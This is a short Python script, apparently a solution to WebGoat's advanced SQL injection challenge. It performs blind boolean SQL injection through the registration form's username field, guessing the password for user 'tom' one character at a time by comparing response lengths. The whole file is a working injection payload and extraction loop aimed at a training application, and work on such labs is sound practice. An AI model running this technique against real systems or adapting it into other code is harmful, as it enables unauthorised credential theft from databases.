#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
import string

def verify(arg,**kwargs):
    result = {
        'text':''
    }
    password = []
    lowletter = string.ascii_lowercase#获取所有的小写字母
    flag = 216
    for d in range(1,40):
        for l in lowletter:
            payload = "tom' and substring(password,{0},1) = '{1}".format(str(d),l)
            #print(payload)
            data = {
                "username_reg": payload,
                "email_reg":"tom@webgoat.com",
                "password_reg":"123456",
                "confirm_password_reg":"123456"
            }
            path = "/WebGoat/SqlInjectionAdvanced/challenge"
            urlPath = arg['url'] + path
            headers = arg['requests']['headers']
            response = requests.put(url=urlPath,headers=headers,data=data)
            #password.append(str(len(response.text)))
            if len(response.text) == 216:
                password.append(l)
    result['text'] = "".join(password)
    return result
